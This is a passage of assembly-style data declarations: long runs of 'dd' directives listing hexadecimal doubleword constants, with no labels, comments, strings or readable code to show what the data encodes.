0DB800E37h dd 0BE219F07h, 20FCA1Bh, 1FE8E982h, 0FF6CD582h, 0C68540Ch dd 7E2C026Bh, 0AD4BE965h, 0CE300703h, 78BE2059h, 0D3E5077Eh dd 0C564A9F4h, 87E6A05Fh, 29E08613h, 1145ECBCh, 49F117C1h dd 0F7C8F464h, 0D36818D9h, 3B122565h, 2E470980h, 0B275581Ch dd 78FFBB74h, 5D89FCFh, 70EB0500h, 0D02945ABh, 6507A22Dh dd 560BAF3Bh, 58C3295Eh, 355603EDh, 10626C5Ah, 22A0BEA5h dd 0FE73D246h, 0B664E1E4h, 0C17627E5h, 5A524A30h, 510A4C9Ch dd 0CB456105h, 0CAB9E103h, 0D5EDBBE3h, 39DAEF8Eh, 3F0AA14Eh dd 0E9C26FF8h, 0DCD9E0B0h, 929F7127h, 7602AC7Fh, 86AFEB4Bh dd 2F090CB9h, 553AD41Fh, 2083EA8h, 0FEDC2EE9h, 80899055h dd 0FB0A73C9h, 0E4D1F6E8h, 1FE1F4D9h, 49B05014h, 167DC130h dd 7514C28h, 873BD120h, 2233A5CBh, 615EC9EFh, 0EB407CD0h dd 0C4EB274Ah, 0FC1F5F30h, 7E72A220h, 0BC5C122Bh, 0D3B84AA0h dd 6568E4D8h, 7AFF2E7Eh, 2608AE10h, 6644975Dh, 0AF2A1AC9h dd 95BA3627h, 4BDDD0AFh, 5CC8B02Bh, 60AE2EFFh, 28E8B999h dd 495B8D2Fh, 25ECF11Ah, 0B04E5E7Bh, 493EBDD5h, 770D7F74h dd 2429E037h, 9C107FDh, 60B6A17Ah, 25F8B05h, 0B3C707ADh dd 0CCD70B11h, 5DBE2428h, 872C0134h, 84D2F7D6h, 2BE0E908h dd 0B28165E8h, 0F0D3288Bh, 18C2B7C8h, 5F01EB83h, 0DBC3A7A0h dd 7B088A14h, 3DA224E9h, 9A42F683h, 9ED88567h, 739FFEF2h dd 31E941C5h, 0B52280FCh, 80DDF6D8h, 2D337CEDh, 7BE89FF2h dd 73014E4Bh, 0B818BE63h dd 0A12FBFFBh, 506F53CDh, 295B2404h, 1FF10BCh, 37EF356Bh dd 0D22DD060h, 1FBE6401h, 5828AF25h, 5009807Eh, 0EA9D88E9h dd 3A7177CFh, 5AB5852h, 2B1F5468h, 3B0BAC27h, 615103C6h dd 4EFC1h, 783B5312h, 0E9FD89F7h, 1F242126h, 200E78A5h dd 60F9388Bh, 78736802h, 0C2BD30A8h, 0FB7FD87Eh, 0D333952Eh dd 0C52ECC59h, 0CB4BF97Bh, 259D5CB5h, 8BBFC777h, 6144359Ah dd 0D4BFB47Eh, 2858407Ch, 0D467E9C8h, 323764B1h, 8BC30982h dd 0C5ECF9D0h, 5C6392F2h, 2295D344h, 11AD3C3h, 70C090B3h dd 0F32F8000h, 18115DC2h, 2BB7E9E9h, 62C7D64Eh, 0A20DFA22h dd 60CB2AACh, 379FE72Eh, 6119F94Dh, 2F13A9D6h, 73FDFA10h dd 227E4C00h, 301A0C05h, 96E91569h, 0F20E9E2Eh, 6FCFA9E0h dd 0E8D0DC65h, 10CC94C5h, 0BA02BE6Eh, 54EC3D32h, 7CE0F8E1h dd 0B8B1400Ch, 27CD3513h, 619CB100h, 9D093FBEh, 8231B1E0h dd 2B67AD81h, 3D411E3Bh, 231C9F9Fh, 4B96DA2Fh, 302ECD99h dd 481A7A1h, 0D118A06Ah, 6961A850h, 1F171C1Dh, 0F59FEA81h dd 3AAC01h, 685653BDh, 41715812h, 0F671CB98h, 0F827192Fh dd 0D5820490h, 168916D1h, 0D604C40Ch, 87721D0Ch, 0D70CBE2Bh dd 0EDF8B4CCh, 4AA98C4Dh, 417755F9h, 65938CDh, 4A369747h dd 19850988h, 75740D17h, 5E62F309h, 3FED515Ah, 645C7F62h dd 0D8B2828Fh, 0D3292DEDh, 240BA7Dh, 0DB5B06AFh, 6E880876h dd 5BF10B5h, 9415709Dh, 3094FB84h, 0A89025F2h, 81807510h dd 0F3EBDEF8h, 0EC7EF728h, 0D844BD6Eh, 0DDBF5350h, 13CAB980h dd 182C4E5h, 9F596AC5h, 0F80C8165h, 176C902h, 8DC1F2F3h dd 14070C08h, 21A4BD3h, 0EE13EB77h, 0F87DDEF2h, 66892EF8h dd 52DA8B9Ah, 373E9E66h, 0F904DBF6h, 0A8F970BEh, 8AB0ECD7h dd 94E2918Dh, 0D3EE750Ch, 0DB939380h, 28D15E80h, 81CDC1E5h dd 0D121A4D6h, 0E1C1EF44h, 466B27C0h, 9480646h, 2BBC0095h dd 1518F028h, 8E34DAE9h, 5AADF95Ah, 6CF9FDB5h, 6429E970h dd 0A08F114Ch, 0C83D01C2h, 0F1188905h, 0EEBC081Ah, 7CF85E96h dd 0AD79FAB4h, 4CA6034h, 0E919FE2Ch, 6B12EB20h, 0DBA528AFh dd 587E3FB2h, 585BFC95h, 68015152h, 1767419Dh, 0C605359h dd 4904003h, 0EE788BA1h, 0D8E68103h, 90476616h, 2F3570AEh dd 705832F8h, 1A9749Fh, 0F27C33EAh, 7D942F18h, 0D41C0818h dd 79F82816h, 0E3524EDEh, 5F089273h, 0B8291666h, 2FED00A9h dd 171BE21h, 0DDCA2D5h, 0D260D508h, 75848267h, 773E804h dd 73488FBBh, 0AB5A7DA9h, 72F41F2h, 171C6076h, 80D495EAh dd 9C3AC740h, 98C1A022h, 43C80067h, 8705E6C1h, 6D641CEh dd 10769000h, 29E96433h, 6B63A184h, 0B257B055h, 81885966h dd 0B18B092Fh, 12C2ACEh, 22101CF7h, 7C129248h, 0FD4D8D67h dd 3B012E57h, 0B632C80Dh, 4DF46371h, 0FEA04E41h, 926C088Dh dd 0BCE28101h, 2A19C825h, 0A3F28A4Eh, 1351FC7h, 30B69E8h dd 29F5016Fh, 8FC5878Dh, 0A52D5572h, 81AEDBBh, 0B1C090Ch dd 803D507Eh, 0B4EEFD5h, 143621Ch, 804FFE2h, 91AF5Dh, 0BE040390h dd 4D218B8h, 0EE1966E4h, 64A85D8h, 0BD0CF86Bh, 0E91A0B4Eh dd 8240C6E7h, 0E4752CC8h, 1B65A1F6h, 0AC72136Fh, 0F22FADB4h dd 0BE9133Bh, 0EF6A12AEh, 0EFEA3ADCh, 60DFF701h, 5B2C4EB7h dd 0C102C628h, 0C1A854C9h, 46AB8F7h, 0BA8D6896h, 0BD27C6F9h dd 0E320B55Ah, 0BA36D270h, 3CEC2C85h, 0AE732D2Fh, 0E12F9CACh dd 8207EF93h, 0D45552E6h, 0CA8BF9F2h, 76615655h, 74A1D65Ah dd 0A54DA93Fh, 0BCAFCB94h, 2DBB5F25h, 17BA3D02h, 31BEA57Fh dd 48C3D8FCh, 83B6F381h, 8833B704h, 0BA4C66A9h, 38B4CC5Fh dd 0A79CC13Dh, 9018918h, 0CDE580D5h, 48B22878h, 0AF020B37h dd 92F657Fh, 3309355Ch, 0B37B5742h, 94E43D2Ch, 805985D0h dd 285209EAh, 60825AD0h, 0C861AE04h, 0A805003Eh, 10E20520h dd 12DE801h, 6BE95D07h, 745DC20Dh, 0B95C5AB7h, 68BDF28Ch dd 992905Ch, 64E3B6D4h, 7AF04401h, 0AE7CDABAh, 2B400C12h dd 0E5539FBEh, 97F59AAFh, 5694FEFEh, 26B432D0h, 6877E85Bh dd 0DE6C544Fh, 0E3CB4A22h, 5C5F72DAh, 920727EFh, 495AC21Bh dd 0EFB0AA09h, 6C98D7DBh, 58825627h, 9A5EBDD6h, 0F63BE621h dd 37D82880h, 5B6B151h, 7B35EA04h, 64D00984h, 1E8F480h dd 8658E508h, 42DAF6D5h, 66F52BE3h, 1B8F09D2h, 92D5FA1Eh dd 2CC4021Dh, 0B0A06515h, 0BFB25278h, 8EAC014h, 0D941DCh dd 516A2CDCh, 0C8C23A94h, 231056Ch, 550B68A1h, 0C68D99DFh dd 616FC9E9h, 7F7014h, 2C60055Fh, 1CCECD26h, 833F204Bh dd 0EF56B2EEh, 1AFD605Eh, 3E0B2D51h, 0B307AA44h, 59EB3087h dd 239562A4h, 0BCEA0831h, 0D4F7376Ah, 0D7F707B9h, 75EF11F2h dd 0EEDEAC3Ah, 31C85B88h, 2B63BBCCh, 50C069F8h, 0B3430BB8h dd 0E9407D06h, 0FB7B9E6Dh, 126A93DDh, 9FAD303Eh, 0D9A01177h dd 0C6BD5146h, 35B2517h, 6F5696B9h, 0BAA80EBCh, 1195D34Eh dd 8144D4AAh, 9DBBAF6Ah, 5ACBE87Fh, 72F0DC82h, 0F9D79784h dd 0A2AEA4E1h, 1D8CD3A5h, 850EA268h, 75A04C9Ah, 1503B595h dd 8B97DD89h, 0BD40C1C8h, 0F003C299h, 6494C22h, 1C66450Ch dd 0D876DE58h, 0EA0C1F2Dh, 59080592h, 0FFC55780h, 16F5F84Dh dd 0B5121F1h, 0DF5CDB7Fh, 762FF426h, 705EDA7Dh, 0F6267689h dd 2E6C86Dh, 3BB31AD0h, 3E62241h, 3882D5F7h, 8D845745h dd 0C60DD129h, 8E176058h, 58E56D3Fh, 0BB44C4Ch, 60610C44h dd 749EB2C1h, 3901417Bh, 845526D4h, 0D75F2219h, 9056FDF0h dd 577B096Bh, 1E027FA6h, 0E7FF1C32h, 5CABA609h, 50A21A9Fh dd 17075E51h, 2CA4C455h, 7B4DE9F2h, 5E225CE0h, 0E9E370AFh dd 0DEA821C4h, 1804D8F7h, 0F82950CBh, 0C282B8BEh, 0E430428Fh dd 0C3F52782h, 682D746Eh, 0E9080138h, 21A8BDADh, 73783810h dd 40596F90h, 89395707h, 0F6A451CFh, 0CE2D9A44h, 821A75B5h dd 0BEC4C184h, 0E20684DDh, 75A9804h, 7F2B32E6h, 0BDB1FAE9h dd 885FE104h, 23A1804Ch, 0B34A77A0h, 0E957FDC0h, 901E9ABCh dd 0C28012A6h, 0F521915Ah, 0C8BB03A8h, 62EA064h, 0D28C5DBEh dd 1A5C4C4Eh, 522C2752h, 0D8088379h, 95195268h, 0ACFD211Ah dd 6A02822h, 29406515h, 88248CEh, 0E1C38D57h, 0D3BA80D4h dd 0D19DB998h, 0F7682ABBh, 9B0F23B9h, 77EB0B73h, 715F7F89h dd 0E931CCF0h, 5C53A5Ah, 0C956CAAFh, 0F4BEF75Ch, 0BB90208Eh dd 4A538840h, 5481EABBh, 0AA60DF29h, 6801817Ch, 147B124Eh dd 2372DEEh, 29709DCFh, 8F1C7595h, 2AAA6813h, 0E90D43B7h dd 3A382C01h, 424200BFh, 3A97F281h, 36CA13Bh, 779FCCAh dd 0FA180C1Eh, 0D12C3F7Bh, 2D9CD797h, 501EDC9Dh, 0AD9B20AEh dd 0F091983Ch, 0F1CD6812h, 0F4DA8552h, 4C7F2789h, 17EDFB53h dd 163A206Bh, 2259BA5Eh, 4BCE03E4h, 0C42E9769h, 2B153090h dd 35325C1Dh, 0AEB0200h, 9DE4E9CEh, 54B19AB6h, 8C3F7F6Bh dd 0F1413DE2h, 13D4C321h, 4C4E3E72h, 0CE773712h, 44FA4B90h dd 81B93EE8h, 2F545333h, 6C81BD21h, 3F8CF37Ah, 0B2772C52h dd 811A77A4h, 0F508200Dh, 5A8F4BE3h, 0E980C81Ch, 9F07AB4Bh dd 9AD9BC68h, 0CE964055h, 1358E621h, 0F46A3CE9h, 2EB138BEh dd 43FAEB12h, 0C2315F2Ch, 0F90B88F3h, 0D5E36855h, 0B80720C4h dd 6DC44FDAh, 5FDE6489h, 979C14Ch, 6B92DDCBh, 0C0BD9401h dd 0A541676Ah dd 317BD450h, 7B51351Ah, 0B0FC4075h, 25E26809h, 0C408F831h dd 83484E59h, 0B6337246h, 807A615Bh, 0B10937C0h, 0DE038B9Ah dd 395743ABh, 2DB30CEh, 7D70EDF3h, 0C1436307h, 524BCDD0h dd 0B50558B7h, 0B3609AEAh, 3A5B285Fh, 841EBE9h, 0FEB44B38h dd 0AFD11061h, 4A786773h, 3F21B1ACh, 0C4104FCBh, 5BC44E81h dd 24ABDEEBh, 46026E5Ch, 417E4A41h, 0B800027Ah, 59001A19h dd 0B72D4857h, 0B866C931h, 0DD07E5F9h, 790241B5h, 0A5D03D2h dd 9B1E054Ch, 88F60084h, 0C1012645h, 1208E630h, 48077F48h dd 0A42EA131h, 517D0028h, 0DFFEE868h, 5A59FD3Fh, 0D84E0CC1h dd 0B7CA5307h, 0A9E2FEFCh, 8969039h, 0F682FB6Fh, 2F15DEA0h dd 9EFCF8CCh, 41EE4E49h, 238B60C4h, 1ED36497h, 0C8E23007h dd 5A1C462Fh, 5C58E70Bh, 29A508AAh, 0BAC15F1Dh, 62B572FDh dd 0A9CB58F0h, 21E8BFBDh, 1274C17Ah, 60735A18h, 4A27E91Bh dd 0B6C5A6EDh, 22549F75h, 525AD60Dh, 5882AC3Fh, 12482077h dd 0AC22E168h, 2F25C036h, 24E96029h, 6477D616h, 0A0B1EF68h dd 136BC5F5h, 0B110A2A8h, 13FC0E9h, 0C56858B5h, 0C6CF6A1Eh dd 5AA28A4Bh, 9CFF3CBFh, 4F44C44Dh, 51652CBBh, 5AFC569Fh dd 0E1392002h, 0CB23F955h, 9252C5DDh, 40CCFB9Dh, 0BC6A4A11h dd 0A69C4FEh, 7FF329AFh, 9B80FBB9h, 4E3A5E14h, 0CE00E29Ah dd 4031011Bh, 0D0C1C6E9h, 666756D4h, 3456FDEBh, 0DC69C594h dd 0BB0FC822h, 0AA635D26h, 8559FC5Bh, 32BFFEB3h, 0B8EA7365h dd 6B26F3FFh, 0D2F41C55h, 0F8B3FB0Dh, 52D0E983h, 0F9316C13h dd 0F4A05F17h, 0E6D1274Eh, 4202157Ch, 4012F44Bh, 5CBD6C5h dd 98E9A66Fh, 0B2B2AAC3h, 0C8BE0F0Fh, 16CFBA84h, 60A3CCE0h dd 32E1BBFEh, 94E8877h, 186AC4E4h, 1163730Dh, 68A4CC1h dd 0BD453A86h, 0DF0AAF41h, 35FBA539h, 0C4C708DFh, 5EBC181h dd 9576FA38h, 0A530A6C6h, 61687CB8h, 0D49A9D0Eh, 0D45F11D7h dd 13C6167Eh, 749F965h, 0F468E829h, 20B54679h, 0D497D3A3h dd 0EB8B3931h, 60D5AA90h, 9D088B31h, 0C363D95Ch, 2D5C27D9h dd 0CF209CE4h, 8F2C50F3h, 18EB6120h, 0CFA5E380h, 0DA086FF0h dd 3941AFA1h, 2E0C2088h, 529BB2C4h, 98EC46DFh, 66DF03B1h dd 0EDC1592Bh, 0C78652EAh, 26FC70BEh, 742581B0h, 496E5E21h dd 0E971F23Ch, 2499B49h, 315EF729h, 0F0CDC1FEh, 0DCF4FBDBh dd 2160B7AAh, 0B50A0B19h, 5D12E371h, 9FFD27AAh, 241024FEh dd 791209D9h, 308202DEh, 0DCA670ECh, 0F4F02D20h, 0F9106A30h dd 5A50A2C9h, 0C68F8C5h, 0CE02689h, 1B823EC1h, 22B71A4h dd 2925247Fh, 456795C0h, 68663A04h, 9AA84D27h, 0FFB8B1C4h dd 0E3AC039h, 820222Eh, 0CE27E920h, 0CACCD782h, 75B77A6Bh dd 0A89376E5h, 5A5856C0h, 0C5C07368h, 0EC0C9737h, 0FEFC9353h dd 99F0812Dh, 3DB3050Ch, 40A74029h, 0F59D5B68h, 6CBD4D9Ch dd 46012084h, 0B33BF4C1h, 0AC2A29E0h, 0C8F20255h, 0D7793E4Ah dd 0B403D362h, 419211B6h, 72974D46h, 0DD87A78h, 63FE3251h dd 0DE78E015h, 0FC696D27h, 89C624AAh, 0DC513DE9h, 52A07E49h dd 0E9855045h, 8F5D76FBh, 0B15FE689h, 5965F775h, 0A7D286EEh dd 0A9F50663h, 0C6BFD68h, 50BD23F6h, 0CEED04B4h, 0FBE6E54Eh dd 14CC49B1h, 0A5A302B5h, 68E9DE89h, 6A2D8049h, 0DC13FFB2h dd 0F632FB4Ah, 2D5BD0FEh, 1719D968h, 0A2327057h, 1EC46601h dd 9AE95359h, 0BBA70D7Eh, 0CE80C2E7h, 4E5E6B88h, 84D30134h dd 0FB680802h, 8FEAF46h, 0CB290E32h, 9FABFCE9h, 0D8F25B74h dd 3AE913E6h, 78CEE2B4h, 2BDBE32Dh, 276BF5D9h, 5A1E0E50h dd 3CD0F680h, 729AAC0Ch, 2B773ECFh, 6DE45F87h, 0E9748F67h dd 0DC3A29EBh, 5E9D00F8h, 99B934BFh, 6310BC9h, 206229DAh dd 6819B4D4h, 8EDF78AAh, 645ABE3Ch, 0AB2BBEEh, 4E1DA810h dd 50241AE8h, 4FA207A8h, 48B82080h, 3298601Fh, 504A690h dd 114260Dh, 3B394990h, 4EE9E237h, 0FE45C1E4h, 0F5AA42C4h dd 0AF2D6600h, 5A42F233h, 85FFA9CCh, 0B54503B5h, 90848754h dd 470812ABh, 0CC1B3C38h, 744AE966h, 74011E13h, 0ADFC164h dd 90D4823Bh, 0CF05BE64h, 6775ADEh, 0B7EAE80h, 70C5A15h dd 0CA3FEE87h, 70B526C4h, 8A2BE94Fh, 0F5ACFBFDh, 68097610h dd 52B01C1Fh, 77C97902h, 69D857C2h, 97EFCDF6h, 13AA5BA6h dd 0D623AAA6h, 3EA28D5Eh, 0AF65C4D2h, 0BCE59EE8h, 0BB53C752h dd 20DE7F71h, 112E2C7Bh, 30520B0Bh, 59E5DF31h, 0E6E45C93h dd 0E5E68C31h, 10505326h, 406F7A0Eh, 0C56CE935h, 0D06C95FEh dd 2B556876h, 1650601Dh, 574C8982h, 0A4B0B758h, 0B8E5EFE9h dd 0CC459EF4h, 0DA16DD39h, 8144184h, 56042E98h, 4A880864h dd 83E160DBh, 5F194DF7h, 8CC13D5Ah, 530326F2h, 5B6F2EFEh dd 5C4360BCh, 7F8DE90Eh, 8CEB8050h, 643D3C12h, 77F392F4h dd 0ECB35FF7h, 79A900C8h, 0E9556F3Ch, 90F854E7h, 314A4ADBh dd 47F3B4Fh, 9845E0BEh, 0D282B195h, 51B0E02Eh, 0E92BB506h dd 681A97Ch, 453657F7h, 80790C74h, 0F2F0BB25h, 0FFC15F00h dd 0F98F142Ch, 0CDBAB23Ah, 3A207366h, 12A5929Fh, 2DE8285Ah dd 53F0C069h, 0FE82B30Eh, 80C347CBh, 0C06EB26h, 0A19CE943h dd 1609C2A5h, 0D0638D32h, 0B3BC124Ah, 201F9B9h, 4E4CFDC3h dd 5F4AD53Ah, 0EF5F0804h, 0FA665C61h, 1FBB412Ah, 8322636Fh dd 4F586522h, 14F7B112h, 3A14D97Eh, 0A01F8F87h, 0E999C372h dd 0EAD05A61h, 4C82F22Dh, 65C936B5h, 2F027FC1h, 4DB2C4C0h dd 82196972h, 835C58A4h, 8E78B0BCh, 5FAA305Ah, 830F17CDh dd 48D58DCh, 53087FBh, 344002BAh, 6A124184h, 0BF570040h dd 1CBA77B9h, 76C9E7C1h, 340084DFh, 82CB601h, 2AC547F1h dd 801003B9h, 0D98006C1h, 289EF8E9h, 6141B03Ah, 0F6F379A6h dd 45530055h, 2E323352h, 0C0E36C64h, 56734441h, 0D495029h dd 0CE544E8Fh, 460A354Ch, 0DFE9B201h, 2368FEE8h, 6179A1Eh dd 8FE52F89h, 0AB94A81h, 0F2842510h, 421B489Bh, 11249D6Bh dd 711CF22h, 9E45BF08h, 3211E4E1h, 20F3129Fh, 0DBBA2A84h dd 75E54400h, 0C23293A0h, 7CFC0F33h, 38C0690Ch, 3D6E2DC8h dd 90018270h, 59C92E05h, 95D967BCh, 75D033C0h, 1C421D60h dd 916B40A9h, 0B28A0B16h, 980059E2h, 1FA6B8E8h, 0FC9BFB3Bh dd 0C5800742h, 7093F89Ch, 9D614E5Fh, 1072BF00h, 0F19976A0h dd 5A204D2h, 0C04DEC74h, 0BF706519h, 291ED300h, 84DAB007h dd 0CC1900C1h, 0E2E4C973h, 82FC3E63h, 0ECBDF600h, 62E1FBC3h dd 3115C03Fh, 5D3264D4h, 38D2E300h, 0A4CC6CFEh, 90093DEDh dd 0AD82D800h, 0C8B33291h, 0C2F09800h, 0B1E555D5h, 0EBF300DCh dd 0D30F52F1h, 0EE00FC9Ch, 0A272DDDh, 617D48A9h, 0EB51954h dd 0B20D80CBh, 416E3FE1h, 7F7EB4h, 9D78F18Ch, 4D67D1DDh dd 50BCE527h, 0E747003Fh, 30919E77h, 0FE0035C0h, 0B9660F7Fh dd 12EC737h, 84118101h, 49296427h, 0CEC708BFh, 68B75E03h dd 0FFFA9B0Bh, 0C51B3EA3h, 21E2C307h, 57C72460h, 347D005Fh dd 0A8F154B5h, 100F86F2h, 806D4253h, 2B336313h, 8B4D0098h dd 456E169Eh, 427974E4h, 28F99D1Eh, 3E9F1D83h, 0F240D587h dd 5E371829h, 0CCDB1CFCh, 10E3C0B1h, 7998E80Ah, 200B5F8h dd 1282E72Ch, 3D3F2B24h, 140572D2h, 0D109C1Fh, 804EFC46h dd 56C6268Dh, 325A479h, 0BEB7E0B1h, 40E53CB8h, 0F161DD96h dd 0AA010F24h, 69C45B3Ah dd 0A1FC1CF9h, 0CF640031h, 7D1AFB6Bh, 2F00930Eh, 0E649D6BFh dd 0A909F76h, 231C434h, 8B5382A8h, 96A091B8h, 4FA19B5Ch dd 72E26202h, 0A0B0D96Ch, 806A3B93h, 0D6CFA093h, 0EE5E03DDh dd 8934C5A8h, 0DC1E3DC9h, 6449C397h, 0B9D728F6h, 0EC4D6600h dd 0E0453A7Ch, 734488B9h, 0B6E65C77h, 0C9159760h, 603A096Ah dd 0D4D61117h, 0FC02871h, 0A6EDC2D3h, 0F8D70E47h, 0A914311Dh dd 75A559C0h, 0BE09DA69h, 169C64h, 0E163503Ah, 6F6D0D71h dd 0F4BE8DD4h, 0AB005F70h, 81F153E0h, 6E249FBDh, 0AF631DFDh dd 71E951BBh, 0C5C68006h, 9D7A864Fh, 0A7D8E13Bh, 0B5E70036h dd 39165EBFh, 6300E051h, 0D8D9C3F3h, 0FFFEB5Bh, 1C4E599h dd 16BC980Ch, 7A269600h, 6106FAB1h, 0C5771C2Eh, 4AF982EAh dd 860B58Ah, 0BB005A6Bh, 0F87B0764h, 0B18E88h, 4697C09Eh dd 0D3CAE50Ch, 0F767C500h, 536332D8h, 6B733BA3h, 8B579281h dd 600A1B10h, 0D007D0Eh, 0C939BB68h, 75CE7F5h, 1CAB8735h dd 90370B8h, 8926EE43h, 0A1F70FDh, 0C3701AC0h, 4DD040h dd 0B1CA49C8h, 0EDAD151Fh, 7427DDBCh, 0D6803F74h, 1D12E353h dd 650030A0h, 1BFA6ACEh, 36A604h, 5043485Fh, 3CF382F2h dd 0AA4BBB00h, 0EE87F775h, 52C20341h, 774E10C3h, 394069AAh dd 0E4495819h, 53B481CFh, 5410A9F0h, 2A006C43h, 0F774B555h dd 7A638Fh, 0F9F9602h, 31391E20h, 0B17C0900h, 10FEEC1Dh dd 7E2FFC23h, 61F7DE7h, 7633EF8Eh, 0D3E2903Dh, 73614C26h dd 640C303Eh, 792BD8Eh, 0B6A30AABh, 60164D9Ah, 1905B1ECh dd 0A73F97A9h, 5F7DEB90h, 3BD77E4h, 6F401087h, 0C179977Bh dd 91A64E14h, 19466170h, 0F4FC2F08h, 7EBE7D42h, 0B2580F48h dd 1220F684h, 0C3DD794Ch, 0A00E5B90h, 3C0E68Fh, 0D8370ED0h dd 1F1089FEh, 9D7DB98Ah, 910180C6h, 4B3FD1A4h, 192C7002h dd 44DB1CADh, 0D40902C4h, 193C3A3h, 3C408029h, 0D22A1Bh dd 5A40D3C1h, 7C0F1C9Eh, 2C039003h, 0B8A4543Eh, 0F56CB0h dd 0C23C388h, 18F9332h, 8C3D4F90h, 0E3628327h, 0C890F6BEh dd 436C3Dh, 0CA2EF7A7h, 0F4F85B32h, 36C8E700h, 771F678Fh dd 701000ECh, 3C77E40h, 0C9076C25h, 0CF3FBDEAh, 540F695h dd 0AB4BDDD9h, 0E063007Bh, 0F09969E5h, 9704A778h, 59B590C5h dd 1D830D84h, 7119C0BAh, 794359C0h, 2636EE2Ch, 0C1B64479h dd 20472671h, 0E700F3C9h, 3BDDC641h, 30BB8A54h, 55303096h dd 923B6B44h, 0D1DC01FBh, 746ED6E0h, 998FFC74h, 0E8169Ch dd 0B7278659h, 0EF0051DEh, 2989967Fh, 7BFDCB9h, 171D1CCh dd 15A06B74h, 6F0676F6h, 42D3A2C1h, 0AFEBCD91h, 9A790099h dd 1DAB63D9h, 8003DB0Bh, 0D649D7FCh, 0C9056F30h, 0DD4B8221h dd 390A4080h, 0B00C2425h, 0EE524090h, 97E4517Eh, 0BC2C8800h dd 9A0A697Ah, 0D0E60003h, 7B79B7DFh, 0C9C010F7h, 522393F3h dd 0EC5C00DDh, 2B9B1A09h, 0E591D54Ah, 482D9D07h, 0E4655872h dd 0D0CC4C67h, 0FB5A6A33h, 15BE7F07h, 0C95D7A49h, 0C0E755C4h dd 8E9A5F1Ch, 70284509h, 0DA05E9E0h, 0B4ADE959h, 690DF87h dd 0B8BAAh, 387B82E4h, 0E84D49B9h, 558E4100h, 0AC617668h dd 0F4F77EEh, 137E6C04h, 456DAD02h, 169FA340h, 32CD8E2Ch dd 0D4E11C09h, 7F01376h, 702582CFh, 0AC290E7Eh, 13F73F07h dd 0F1B19516h, 484B787h, 81CEB40Ch, 60E8B9B2h, 0EA005A60h dd 5C37D3ACh, 25EB2D0h, 0ABB3E393h, 0D2EA3018h, 85527280h dd 0B71758F4h, 0CB18DE02h, 0E4828B22h, 273000BEh, 24C42125h dd 923D81E1h, 0E6CC812Eh, 2DCE212h, 0F62069C8h, 58CBF8ABh dd 0ED00F9FAh, 90B8B1D4h, 0F10077BFh, 82411D4Dh, 3BDEDF03h dd 85CC52A2h, 0AE47B700h, 0B920281h, 9F02E873h, 0F9797B03h dd 16347620h, 224000E3h, 593CAC0Dh, 0FECA59h, 6233A305h dd 0FD6DCDh, 95088318h, 63D0A515h, 896CDC00h, 0CBAA1A9Ah dd 67D70754h, 8E19458Eh, 12F0A8BFh, 32B78506h, 0EAA0D854h dd 5C8B3AD0h, 3B9992BAh, 61097900h, 56D6DBh, 0CE3EBCF5h dd 0B4EF7C8h, 0F20B95BAh, 80670E21h, 0D9CACC65h, 0E23F45Ah dd 0B7538A8Fh, 1340DDC1h, 54797009h, 0AD4B42B8h, 0D8568F00h dd 968D68h, 5DD2A313h, 8EA570E0h, 6FACDE94h, 10830880h dd 5B342B2h, 0EA8BFB7Ch, 3A46235h, 6D12AE68h, 18D996C2h dd 4773AE24h, 6CB249AEh, 1441CB25h, 7C40BCC6h, 0B63C11B5h dd 609C033Ch, 671839DEh, 0F8C9F722h, 0A2211200h, 0E42B2C32h dd 0D443005Ch, 5ECE2FFBh, 487F6758h, 16E3D300h, 0E4EBFEEh dd 0EF710356h, 61834CC8h, 8AA5B2C0h, 0FD7FB400h, 0A4260195h dd 7BF702E2h, 0BEA0B654h, 0A28FB3C8h, 86B02000h, 0D9C4A689h dd 884E60C6h, 31427445h, 4469D105h, 0D856E63h, 0A039FB93h dd 7D65B4Fh, 5A75E546h, 30666059h, 9FF4705Fh, 652B025h dd 3219FEh, 0ECF2DDEEh, 0C2F464C7h, 4B00D57Eh, 9C1F3971h dd 48BCD7B3h, 57896CEEh, 15262920h, 0B30E1021h, 40895343h dd 276FDF5Eh, 0AAEF3156h, 0D8405127h, 22000FDBh, 41B1129Eh dd 1577855h, 85F576B3h, 65C043F0h, 0C435A6C4h, 35183426h dd 907A5Dh, 1A0E1BA6h, 189B2C93h, 56CDA800h, 6B3165D5h dd 2DF0006Ah, 0D709CCD9h, 0FD98F633h, 3E771200h, 53BB388Fh dd 16DF00F7h, 446B24D2h, 4098ADB1h, 7D362603h, 0C8DADCFFh dd 8B4BCBh, 9495755Ah, 1170A616h, 0E950D80Bh, 0E50D00F6h dd 63D1282h, 41883B21h, 2C02B2C0h, 3A246F1Bh, 0D9E40F9h dd 0D95A2630h, 2583499Ch, 8E06E7CEh, 87CA7963h, 39662E3Bh dd 5D728065h, 8EFE7CADh, 63E73Ch, 3ECC42EDh, 2823C79Ah dd 48B985E6h, 7F18403Bh, 2DFE40D5h, 755E3D00h, 89CEED7Eh dd 2C9700C5h, 0AE0C7CE5h, 0D307B788h, 55D6F1DCh, 0A88BBBh dd 1B1806F7h, 0F0260496h, 89BE6B1Fh, 0AA2D30E4h, 0CF37B900h dd 0F2D5A436h, 2A09670Fh, 0F0398715h, 77507FE6h, 0F184F401h dd 6551C142h, 0BBDE90E3h, 0C07ADEE2h, 0A8086671h, 0B813B0A9h dd 85007713h, 7BDA5855h, 9DC524EAh, 3492870h, 3F7F17AEh dd 0D474A811h, 51784B00h, 1CD4193Ch, 145F000Bh, 9CA2D2A6h dd 453BD029h, 4A5B8001h, 64D4574Ch, 777D015Ah, 3DAD1280h dd 0C9C07FF9h, 162D8FD3h, 4F892BDh, 0C0B525FDh, 0DC27941Fh dd 4ED5A100h, 0C3C2935Fh, 4D6A12B0h, 75C400F3h, 40EF86F6h dd 0DBA253F8h, 0FEB967C0h, 0DB351A00h, 134296ABh, 1414B059h dd 0A2BC6D1Dh, 0AFE75780h, 19B23DC2h, 80349469h, 0E2E1D519h dd 578C0433h, 0C0476C6Eh, 50C03D76h, 0D0FFBA09h, 715E00F7h dd 1CD141C2h, 31115DE5h, 24565B02h, 860067E5h, 373C2564h dd 0F298B7h, 244B2F4Ah, 475C5ACAh, 3101759Ch, 3E3363D3h dd 0C054D264h, 4FBF4341h, 8A05A47h, 647A52C2h, 3C7AEA09h dd 0FA0B5778h, 9F8B34D5h, 51BD8294h, 0A07852A4h, 37FB6805h dd 6CAC6642h, 6E2C1A0h, 0BDAF737h, 0C960F2E0h, 0A07EF397h dd 1ABD5434h, 7C174E3h, 0D4C708A6h, 0E623EA31h, 7181D141h dd 770F8BF6h, 2C8BD930h, 0E13E7595h, 0DB00E97Dh, 6010FFFDh dd 0FEB8CE49h, 6170FA2h, 0E081C503h, 